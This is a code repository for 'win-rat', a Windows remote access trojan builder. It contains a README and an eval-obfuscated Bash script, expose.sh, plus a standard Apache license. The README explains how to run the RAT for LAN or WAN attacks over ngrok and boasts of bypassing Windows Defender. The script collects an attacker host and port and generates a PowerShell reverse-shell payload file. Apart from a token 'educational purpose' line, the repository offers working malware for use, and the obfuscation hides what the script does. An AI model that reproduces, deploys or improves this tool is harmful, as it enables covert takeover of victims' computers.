├── README.md ├── expose.sh └── LICENSE /README.md: -------------------------------------------------------------------------------- 1 | # win-rat 2 | 3 | # Note: 4 | This repo is currently under testing.......soon will upload a fresh one. 5 | 6 | ![logo](https://user-images.githubusercontent.com/82051128/125537868-037a4372-b3e9-4581-9b80-4cc8ea9c8937.png) 7 | 8 | # Virustotal Result: 9 | https://www.virustotal.com/gui/file/9fe32a10054b824b10cc24eb6ac1c96b5b8d4b3e730e4120c2a9891bc3d29a38/detection 10 | 11 | # Contact: 12 | Telegram:- https://t.me/machine1337 13 | 14 | # Warning: 15 | Don't upload powershell or exe payload to virustotal bcz i already did it for you. 16 | check antiscan.me if u want. 17 | As u all know, virustotal share files with AV companies. 18 | 19 | # Note: 20 | 21 | This RAT opens a CMD shell in Attacker System So Its better to learn CMD commands before running this script. 22 | 23 | # Installation: 24 | 25 | 1. git clone https://github.com/machine1337/win-rat 26 | 2. chmod +x expose.sh 27 | 28 | # Usage: 29 | 30 | sudo bash expose.sh or sudo zsh expose.sh 31 | 32 | For WAN Attack: 33 | Use NGROK or any Port Forwarding method. 34 | 35 | For LAN Attack: 36 | Use your Local Ip etc. 37 | 38 | # Upcoming Features: 39 | 40 | 1. Automatic NGROK support 41 | 2. Automatic Reverse Shell 42 | 3. More Features will be added w.r.t IA. 43 | 44 | 45 | -------------------------------------------------------------------------------- /expose.sh: -------------------------------------------------------------------------------- 1 | z=" 2 | ";ADz='Shel';kGz=' WAN';xGz='☢" -';ABz=' ban';GMz='pe';DJz=' cmd';IEz='ge: ';WBz=' |__';qz='221m';fKz='ED}"';iFz=' ${G';gJz='l_c ';bBz='\ ';aHz='l)';kz='YELL';lCz='Of A';RLz=' $se';jCz='l Ki';OHz='try-';qHz=' /de';yBz='> > ';jFz='REEN';sDz=' ] T';Yz=';38;';HEz=' Usa';TLz=' -eq';kIz='payl';CLz='WAN"';lIz='oads';VGz='I`';IKz='aned';dFz='1';Pz='ORAN';bEz='cies';YDz='${CN';hFz='" ];';aKz=' :)"';mLz='ully';SEz='slee';pFz='d ]"';QGz=' "';KGz='] Do';GDz='${BL';dIz='Unde';SCz='e RA';pDz='en';tBz='_) |';pGz='T=$(';BKz='-f c';vIz='" | ';WLz='hen';CFz='Inte';ZIz='{CNC';aGz='ort ';jDz='if [';MDz='.com';bLz='ct -';bFz='null';LJz='at/c';JLz='{YEL';Ez=''\''\03';PEz='fi';FFz='.${R';Kz='N='\''\';qDz='D}"\';XEz='heck';lBz=' |_)';jEz='g -c';Bz='\033';YIz=':)\n';TFz='...$';LEz='xpos';EEz='&2';PGz='..\n';RBz=' ___';mGz='bann';SHz=' --e';lJz='*] (';PFz='[ ✔ ';HFz=' Not';HBz='####';KIz='{RED';FDz='stem';vKz='C}[$';yz='tion';ULz=' 1 ';iDz='}';cHz='T LP';jLz='[*] ';gCz='ell ';BCz='/|_|';hLz='()';TEz='p 1';QLz='ect';nBz='\ | ';DGz='\n"';oEz='grep';qCz='LLOW';qIz='s/{l';iBz='_ \|';BIz='ST//';EMz='atta';rLz='ows:';VDz=': Ma';NCz=' A';MEz='e.sh';THz='ntry';ZHz='/nul';PJz='] Ti';fBz='| |\';SFz='et..';aEz='nden';oIz='.ps1';wBz=' \| ';uDz='scri';mKz='e Ne';AEz='s ro';qFz='p 2';Jz='GREE';RHz='ddr"';WHz=' 310';QIz='ol O';RDz='${PI';DIz=' | s';CJz='" >>';Cz='[0m'\''';rJz=' Try';hKz='] Us';tz='CN='\''';mz='214m';GGz=' ins';nLz=' Und';JGz='-y';vEz=' ]];';EKz='then';YCz='10 D';XJz='rmat';RFz='tern';oJz=' ) D';pHz='0 2>';BFz='X ] ';UJz='s1 t';wJz='topp';wHz='ntf ';nCz='otec';SLz='lect';uHz='ny=$';FLz='"3"$';tJz='xit.';KFz=' ]"';NFz='EEN}';fCz='As W';ZBz=' | ';VJz='o ex';rCz=' N';RGz='addr';eHz='t "e';wGz='OST ';rGz='ty -';NJz='s1 \';OEz=' 1';tKz=' )\n';mHz='y --';Uz=''\''';LDz='book';CBz='){';SGz='=`ho';Sz='8;5;';yLz=' cho';rFz=' ] Z';xz='func';eFz=' "$?';eLz='LAN';KHz=': $p';LBz=' ';BHz='our-';TIz='Educ';kJz=' {';ACz='| ||';yGz='-tex';XIz='ose ';DKz=']]; ';lFz='] Ze';eIz='ctab';hJz='INT';QFz='] In';uBz=' |\ ';MGz='nsta';FBz='${RE';uKz='"${N';CKz='s1 ';FGz='-get';mFz='..${';aFz='dev/';oGz='LHOS';OJz='n "';rBz='___)';sLz='CHOO';YHz='/dev';bz='2='\''\';Zz='5;01';xLz=':"';dKz='ype(';TCz='T th';WEz='*] C';HCz='_\/_';eBz=' _\ ';MJz='md.p';cGz='.ope';uFz='.[ N';mEz='e.co';gBz='\| |';FCz='_| \';pCz='${YE';lz='OW='\''';cDz='://g';UCz='at B';JKz='" ';UFz='{GRE';pLz='ble ';NKz='rm ';nHz='widt';JHz='c-ip';LIz='[+] ';eDz='b.co';BMz=' $ch';LCz=' /_';BBz='ner(';UDz='d By';oKz='k Or';HLz=' -n ';TKz=' Usi';FIz='-e '\''';vHz='(pri';UKz='ng U';vFz='ot F';xCz='pen ';wDz='ust ';EIz='ed ';iz='NEW=';JEz='sudo';vz='CNC=';gKz='\n[*';gEz='n"';qKz='ide ';tEz=')" !';XHz=' 2> ';iCz='s Al';fFz='" -e';DDz='acke';hBz='\ |';UHz=' --w';ICz='/ ';uJz='.. "';MHz='dr" ';sEz='ss'\'' ';bJz='e to';gHz='le: ';oHz='h 31';xJz='Serv';SJz='onve';nJz=' + C';EDz='r Sy';NBz='____';JFz='king';Iz='m'\''';WDz='chin';REz='r';YBz=' \ |';kLz='Crea';lKz='tsid';KDz='face';yEz='D} "';ODz='nown';XLz='WAN';iEz='(pin';QKz='] Th';jGz='com`';MFz='${GR';Tz='202m';qBz=' < ';KLz='LOW}';dEz='figu';yHz='X'\'' $';Fz='3[1;';GBz='D}"#';ALz=']${C';kCz='nds ';sIz='}/$i';rIz='host';tCz=' Thi';KBz='}" ';qEz='0% p';uLz='TTAC';kBz='___|';UGz='me -';gDz='e133';jKz='N Fo';KJz='in-r';VIz='nal ';nEz='m | ';MLz='elec';HKz=' cle';fIz='le P';wz=';051';ez='3m'\''';IMz='se -';XKz='E s1';aBz=' |';YKz='m3n-';WIz='Purp';pIz='ed "';QHz=' "$a';OIz=' Use';VLz=']; t';fLz='eq 3';PDz='clay';YLz='elif';oDz='; th';uGz='☢ SE';cBz=' / \';ZKz='RAT ';YFz='nity';fHz='xamp';dDz='ithu';TGz='stna';gFz='q "0';IBz='"';NHz='--en';kKz='r Ou';pEz=' '\''10';iKz='e WA';oFz='foun';CCz='_| |';vDz='pt m';NDz='/unk';XDz='e404';xDz='be r';tIz='pcon';ZEz='depe';AJz='t}/$';dHz='ORT ';cJz='ol"';xBz='| ';EJz='{CP}';eCz='#"';cIz='our ';wCz='ll O';IIz=')';dGz='ndns';cz='32m'\''';lLz='te F';DLz='"2"$';GKz='eady';ZGz=' +sh';Nz=';5;0';VEz='} "[';YGz='`dig';IFz=' wor';fJz=' ctr';RKz='anks';FKz=' "al';aCz='der ';WFz='whic';gIz='aylo';ZFz=' > /';sJz='To E';GIz='s/^/';aDz=' h';XBz='_ /|';dCz='on ';sFz='enit';IJz='ed a';LLz='+] S';fz='GRAY';iJz='ctrl';UIz='atio';cKz='ackt';PKz='}"[*';HJz=' sav';bCz='Prot';QBz='_ ';vCz='T Wi';BJz='T/gi';Vz='BLUE';rz='CPO=';jHz='entr';BLz='NC} ';NEz='exit';QEz='clea';tGz='le="';lGz='(){';CGz='ity ';XFz='h ze';iLz='{';jIz='cat ';wKz='{CG}';wIz='sed ';sBz=' | |';XGz='ddr=';VKz='NDEC';DCz='_|__';KEz=' ./e';gGz='er1.';yKz='{NC}';oz='087m';kDz='[ $E';TBz=' / /';wFz='ound';hHz='2222';gz='5;00';SKz=' For';uCz='s RA';FHz='ddr ';DBz='echo';IHz='ubli';vBz='< /';HHz='ur-P';lEz='oogl';Wz='='\''\0';NLz='t: "';mCz='V Pr';Lz='033[';xKz='"1"$';bKz=' att';MKz='>&1';SBz=' #';SDz='NK}"';CMz='oose';AGz='ling';JCz='\_\_';VFz='EN}[';cCz='ecti';fEz='on \';BDz='l In';MIz='Warn';NIz='ing!';AKz='... ';QJz='p: N';sz=';205';GLz='EXIT';HMz='choo';sHz='ll)';cEz=' con';hEz='[ "$';Hz=';196';IDz='http';qGz='zeni';bIz='ng Y';uIz='y/gi';PCz='ly U';HDz='UE}"';PHz='text';GFz='ED}[';uEz='= ""';GCz='_| ';OGz='g ..';OBz=' _ ';ILz='-e $';bGz='myip';jz=';154';jJz='_c()';UBz='|/ |';AHz='t "Y';pKz=' Ins';pz='CP='\''';nKz='twor';vLz='K_TY';nGz='er';JBz='${CP';iIz=')\n"';hz='4m'\''';kHz='y-te';nz='CG='\''';vJz='*] S';gLz='menu';xIz='"s/{';lHz='xt "';LHz='ubad';YEz='ing ';PLz=' sel';yDz='un a';ZDz='C}" ';xHz=''\''%02';XCz='ndow';EGz=' apt';oBz='| |';dJz=' LAN';tFz='y...';Oz='40m'\''';GHz='; Yo';pJz='etec';xFz='[ ! ';xEz='n';JDz='s://';CHz='Loca';Az='NC='\''';bDz='ttps';NGz='llin';rDz='n[ X';ZJz='ng p';qLz='Wind';wEz=' the';HGz='tall';JJz='s /w';lDz='UID ';rHz='v/nu';MBz=' __';uz='247m';mJz='Ctrl';mIz='/pay';LFz='else';WCz='s Wi';mDz='-ne ';EFz='....';RJz='ow C';RCz='tabl';fGz='solv';ZLz=' [ $';vGz='T LH';tLz='SE A';FMz='ckty';sGz='-tit';DHz='l-ip';DMz=' 1 ]';dz='PINK';WKz='TABL';EHz=': $a';iHz='" --';kFz='}"\n';Rz='[1;3';ZCz='efen';yIz='lpor';pBz=' <';kEz=' 1 g';HIz='0x/'\''';nFz='N}[ ';eGz=' @re';UEz='${NC';nDz='0 ]]';fDz='m/ma';Xz='33[1';eJz='trap';dLz=' ]; ';rEz='t lo';KKz='>/de';hGz='open';eEz='rati';jBz=' \|';JIz='-n $';nIz='load';Qz='GE='\''';aLz='sele';yCz='CMD ';sCz='ote:';KCz=' \_\';hIz='ad :';yJz='ices';OFz=' "\n';iGz='dns.';DEz='" 1>';dBz='|_ ';oLz='ecta';Dz='RED=';TDz='Code';GJz=' Pay';az='2m'\''';VHz='idth';aIz='Gene';QDz=' #"';rKz='Netw';AFz='\n[ ';qJz='ted,';tHz='ipco';QCz='ndec';ECz='__/|';WGz='puba';CEz=') \n';WJz='e fo';hCz='As B';oCz='s ';FJz='"\n[';GEz=' ✔ ]';DFz='rnet';LGz='ne i';CDz=' Att';YJz=' usi';TJz='rt c';tDz='his ';VCz='ypas';AMz='ose';RIz='nly ';mBz='/ _ ';wLz='PE:"';MCz='D}" ';ELz='LAN"';EBz=' -e ';yFz='stal';OKz=' ""';OCz=' Ful';cLz='eq 2';PBz='___ ';PIz='s To';sKz='ork:';hDz='7 ';aJz='s2ex';cFz=' 2>&';Mz='1;38';Gz='38;5';eKz=' ${R';OLz='read';bHz='LPOR';SIz='For ';BGz=' Zen';BEz='ot :';AIz='{LHO';FEz='D}"[';CIz='./ }';IGz=' zen';LKz='ll 2';VBz='_ __'; 3 | eval "$Az$Bz$Cz$z$Dz$Ez$Fz$Gz$Hz$Iz$z$Jz$Kz$Lz$Mz$Nz$Oz$z$Pz$Qz$Bz$Rz$Sz$Tz$Uz$z$Vz$Wz$Xz$Yz$Zz$az$z$Vz$bz$Lz$Mz$Nz$cz$z$dz$Wz$Xz$Yz$Zz$ez$z$fz$Wz$Xz$Yz$gz$hz$z$iz$Ez$Fz$Gz$jz$Iz$z$kz$lz$Bz$Rz$Sz$mz$Uz$z$nz$Bz$Rz$Sz$oz$Uz$z$pz$Bz$Rz$Sz$qz$Uz$z$rz$Ez$Fz$Gz$sz$Iz$z$tz$Bz$Rz$Sz$uz$Uz$z$vz$Ez$Fz$Gz$wz$Iz$z$xz$yz$ABz$BBz$CBz$z$DBz$EBz$FBz$GBz$HBz$HBz$HBz$HBz$HBz$HBz$HBz$HBz$HBz$HBz$HBz$HBz$HBz$HBz$HBz$HBz$HBz$HBz$HBz$IBz$z$DBz$EBz$JBz$KBz$LBz$MBz$NBz$OBz$LBz$LBz$MBz$PBz$QBz$QBz$LBz$NBz$LBz$OBz$RBz$NBz$LBz$LBz$SBz$IBz$z$DBz$EBz$JBz$KBz$LBz$TBz$RBz$UBz$VBz$RBz$WBz$XBz$YBz$ZBz$aBz$OBz$bBz$cBz$dBz$eBz$bBz$LBz$SBz$IBz$z$DBz$EBz$JBz$KBz$LBz$fBz$PBz$gBz$OBz$OBz$hBz$iBz$jBz$WBz$kBz$lBz$ZBz$mBz$nBz$oBz$ZBz$LBz$SBz$IBz$z$DBz$EBz$JBz$KBz$pBz$qBz$rBz$sBz$sBz$sBz$WBz$tBz$uBz$WBz$kBz$OBz$vBz$RBz$wBz$xBz$yBz$LBz$SBz$IBz$z$DBz$EBz$JBz$KBz$LBz$ACz$NBz$BCz$CCz$CCz$DCz$ECz$FCz$GCz$aBz$FCz$HCz$ICz$JCz$oBz$ZBz$LBz$SBz$IBz$z$DBz$EBz$JBz$KBz$LBz$KCz$LBz$LBz$LBz$LBz$LBz$LBz$LBz$LBz$LBz$LBz$LBz$LBz$LBz$LCz$ICz$LBz$SBz$IBz$z$DBz$EBz$FBz$MCz$LBz$NCz$OCz$PCz$QCz$RCz$SCz$TCz$UCz$VCz$WCz$XCz$YCz$ZCz$aCz$bCz$cCz$dCz$LBz$eCz$z$DBz$EBz$FBz$MCz$LBz$LBz$LBz$LBz$fCz$gCz$hCz$VCz$iCz$jCz$kCz$lCz$mCz$nCz$yz$oCz$LBz$LBz$LBz$eCz$z$DBz$EBz$pCz$qCz$KBz$LBz$rCz$sCz$tCz$uCz$vCz$wCz$xCz$yCz$ADz$BDz$CDz$DDz$EDz$FDz$LBz$LBz$LBz$SBz$IBz$z$DBz$EBz$GDz$HDz$LBz$LBz$LBz$LBz$IDz$JDz$KDz$LDz$MDz$NDz$ODz$PDz$LBz$LBz$LBz$LBz$LBz$LBz$LBz$QDz$z$DBz$EBz$RDz$SDz$LBz$LBz$LBz$LBz$LBz$TDz$UDz$VDz$WDz$XDz$LBz$LBz$LBz$LBz$LBz$LBz$LBz$LBz$LBz$QDz$z$DBz$EBz$YDz$ZDz$LBz$LBz$LBz$aDz$bDz$cDz$dDz$eDz$fDz$WDz$gDz$hDz$LBz$LBz$LBz$LBz$LBz$LBz$LBz$eCz$z$DBz$EBz$FBz$GBz$HBz$HBz$HBz$HBz$HBz$HBz$HBz$HBz$HBz$HBz$HBz$HBz$HBz$HBz$HBz$HBz$HBz$HBz$HBz$IBz$z$iDz$z$jDz$kDz$lDz$mDz$nDz$oDz$pDz$z$DBz$EBz$FBz$qDz$rDz$sDz$tDz$uDz$vDz$wDz$xDz$yDz$AEz$BEz$CEz$DEz$EEz$z$DBz$EBz$FBz$FEz$GEz$HEz$IEz$JEz$KEz$LEz$MEz$IBz$z$NEz$OEz$z$PEz$z$QEz$REz$z$SEz$TEz$z$DBz$EBz$UEz$VEz$WEz$XEz$YEz$ZEz$aEz$bEz$cEz$dEz$eEz$fEz$gEz$z$jDz$hEz$iEz$jEz$kEz$lEz$mEz$nEz$oEz$pEz$qEz$DDz$rEz$sEz$tEz$uEz$vEz$wEz$xEz$z$DBz$EBz$FBz$yEz$AFz$BFz$CFz$DFz$EFz$EFz$EFz$FFz$GFz$HFz$IFz$JFz$KFz$z$NEz$OEz$z$LFz$z$DBz$EBz$MFz$NFz$OFz$PFz$QFz$RFz$SFz$EFz$EFz$TFz$UFz$VFz$IFz$JFz$KFz$z$PEz$z$SEz$TEz$z$WFz$XFz$YFz$ZFz$aFz$bFz$cFz$dFz$z$jDz$eFz$fFz$gFz$hFz$wEz$xEz$z$DBz$EBz$iFz$jFz$kFz$PFz$lFz$YFz$EFz$EFz$EFz$EFz$mFz$Jz$nFz$oFz$pFz$z$WFz$XFz$YFz$ZFz$aFz$bFz$cFz$dFz$z$SEz$qFz$z$LFz$z$DBz$EBz$FBz$qDz$rDz$rFz$sFz$tFz$EFz$EFz$EFz$uFz$vFz$wFz$KFz$z$SEz$TEz$z$DBz$EBz$pCz$qCz$kFz$xFz$QFz$yFz$AGz$BGz$CGz$DGz$z$SEz$TEz$z$JEz$EGz$FGz$GGz$HGz$IGz$CGz$JGz$z$QEz$REz$z$DBz$EBz$GDz$HDz$PFz$KGz$LGz$MGz$NGz$OGz$PGz$QGz$z$SEz$TEz$z$WFz$XFz$YFz$ZFz$aFz$bFz$cFz$dFz$z$PEz$z$RGz$SGz$TGz$UGz$VGz$z$WGz$XGz$YGz$ZGz$aGz$bGz$cGz$dGz$MDz$eGz$fGz$gGz$hGz$iGz$jGz$z$xz$yz$kGz$lGz$z$QEz$REz$z$mGz$nGz$z$oGz$pGz$qGz$rGz$sGz$tGz$uGz$vGz$wGz$xGz$yGz$AHz$BHz$CHz$DHz$EHz$FHz$GHz$HHz$IHz$JHz$KHz$LHz$MHz$NHz$OHz$PHz$QHz$RHz$SHz$THz$UHz$VHz$WHz$XHz$YHz$ZHz$aHz$z$bHz$pGz$qGz$rGz$sGz$tGz$uGz$cHz$dHz$xGz$yGz$eHz$fHz$gHz$hHz$iHz$jHz$kHz$lHz$hHz$iHz$jHz$mHz$nHz$oHz$pHz$qHz$rHz$sHz$z$tHz$uHz$vHz$wHz$xHz$yHz$AIz$BIz$CIz$DIz$EIz$FIz$GIz$HIz$IIz$z$SEz$qFz$z$DBz$EBz$JIz$KIz$kFz$LIz$MIz$NIz$OIz$tCz$PIz$QIz$RIz$SIz$TIz$UIz$VIz$WIz$XIz$YIz$IBz$z$SEz$qFz$z$DBz$EBz$JIz$ZIz$kFz$LIz$aIz$eEz$bIz$cIz$dIz$eIz$fIz$gIz$hIz$iIz$z$SEz$TEz$z$jIz$kIz$lIz$mIz$nIz$oIz$DIz$pIz$qIz$rIz$sIz$tIz$uIz$vIz$wIz$xIz$yIz$AJz$bHz$BJz$CJz$DJz$oIz$z$SEz$qFz$z$DBz$EBz$JIz$EJz$FJz$GEz$GJz$nIz$HJz$IJz$JJz$KJz$LJz$MJz$NJz$OJz$z$SEz$TEz$z$DBz$EBz$JIz$KIz$kFz$PFz$PJz$QJz$RJz$SJz$TJz$MJz$UJz$VJz$WJz$XJz$YJz$ZJz$aJz$bJz$cJz$z$iDz$z$xz$yz$dJz$lGz$z$QEz$REz$z$mGz$nGz$z$oGz$pGz$qGz$rGz$sGz$tGz$uGz$vGz$wGz$xGz$yGz$AHz$BHz$CHz$DHz$EHz$FHz$GHz$HHz$IHz$JHz$KHz$LHz$MHz$NHz$OHz$PHz$QHz$RHz$SHz$THz$UHz$VHz$WHz$XHz$YHz$ZHz$aHz$z$bHz$pGz$qGz$rGz$sGz$tGz$uGz$cHz$dHz$xGz$yGz$eHz$fHz$gHz$hHz$iHz$jHz$kHz$lHz$hHz$iHz$jHz$mHz$nHz$oHz$pHz$qHz$rHz$sHz$z$tHz$uHz$vHz$wHz$xHz$yHz$AIz$BIz$CIz$DIz$EIz$FIz$GIz$HIz$IIz$z$SEz$qFz$z$DBz$EBz$JIz$KIz$kFz$LIz$MIz$NIz$OIz$tCz$PIz$QIz$RIz$SIz$TIz$UIz$VIz$WIz$XIz$YIz$IBz$z$SEz$qFz$z$DBz$EBz$JIz$ZIz$kFz$LIz$aIz$eEz$bIz$cIz$dIz$eIz$fIz$gIz$hIz$iIz$z$SEz$TEz$z$jIz$kIz$lIz$mIz$nIz$oIz$DIz$pIz$qIz$rIz$sIz$tIz$uIz$vIz$wIz$xIz$yIz$AJz$bHz$BJz$CJz$DJz$oIz$z$SEz$qFz$z$DBz$EBz$JIz$EJz$FJz$GEz$GJz$nIz$HJz$IJz$JJz$KJz$LJz$MJz$NJz$OJz$z$SEz$TEz$z$DBz$EBz$JIz$KIz$kFz$PFz$PJz$QJz$RJz$SJz$TJz$MJz$UJz$VJz$WJz$XJz$YJz$ZJz$aJz$bJz$cJz$z$iDz$z$eJz$fJz$gJz$hJz$z$iJz$jJz$kJz$z$QEz$REz$z$DBz$EBz$FBz$FEz$lJz$mJz$nJz$oJz$pJz$qJz$rJz$YEz$sJz$tJz$uJz$z$DBz$EBz$FBz$FEz$vJz$wJz$YEz$xJz$yJz$AKz$IBz$z$jDz$xFz$BKz$MJz$CKz$DKz$EKz$z$DBz$FKz$GKz$HKz$IKz$JKz$KKz$rHz$LKz$MKz$z$LFz$z$NKz$DJz$oIz$z$PEz$z$SEz$TEz$z$DBz$OKz$z$DBz$EBz$pCz$qCz$PKz$QKz$RKz$SKz$TKz$UKz$VKz$WKz$XKz$YKz$ZKz$aKz$z$NEz$z$iDz$z$xz$yz$bKz$cKz$dKz$CBz$z$QEz$REz$z$mGz$nGz$z$DBz$EBz$eKz$fKz$gKz$hKz$iKz$jKz$kKz$lKz$mKz$nKz$oKz$dJz$SKz$pKz$qKz$rKz$sKz$tKz$IBz$z$DBz$EBz$uKz$vKz$wKz$xKz$yKz$ALz$BLz$CLz$z$DBz$EBz$uKz$vKz$wKz$DLz$yKz$ALz$BLz$ELz$z$DBz$EBz$uKz$vKz$wKz$FLz$yKz$ALz$BLz$GLz$IBz$z$DBz$HLz$ILz$JLz$KLz$FJz$LLz$MLz$NLz$z$OLz$PLz$QLz$z$jDz$RLz$SLz$TLz$ULz$VLz$WLz$z$XLz$z$YLz$ZLz$aLz$bLz$cLz$dLz$EKz$z$eLz$z$YLz$ZLz$aLz$bLz$fLz$dLz$EKz$z$NEz$z$PEz$z$iDz$z$gLz$hLz$z$iLz$z$QEz$REz$z$mGz$nGz$z$DBz$EBz$pCz$qCz$kFz$jLz$kLz$lLz$mLz$nLz$oLz$pLz$ZKz$SIz$qLz$rLz$DGz$z$DBz$EBz$uKz$vKz$wKz$xKz$yKz$ALz$BLz$sLz$tLz$uLz$vLz$wLz$z$DBz$EBz$uKz$vKz$wKz$DLz$yKz$ALz$BLz$GLz$xLz$z$DBz$HLz$ILz$JLz$KLz$FJz$LLz$MLz$NLz$z$OLz$yLz$AMz$z$jDz$BMz$CMz$TLz$DMz$oDz$pDz$z$EMz$FMz$GMz$z$YLz$ZLz$HMz$IMz$cLz$dLz$EKz$z$NEz$z$PEz$z$iDz$z$gLz" 4 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "[]" 182 | replaced with your own identifying information. (Don't include 183 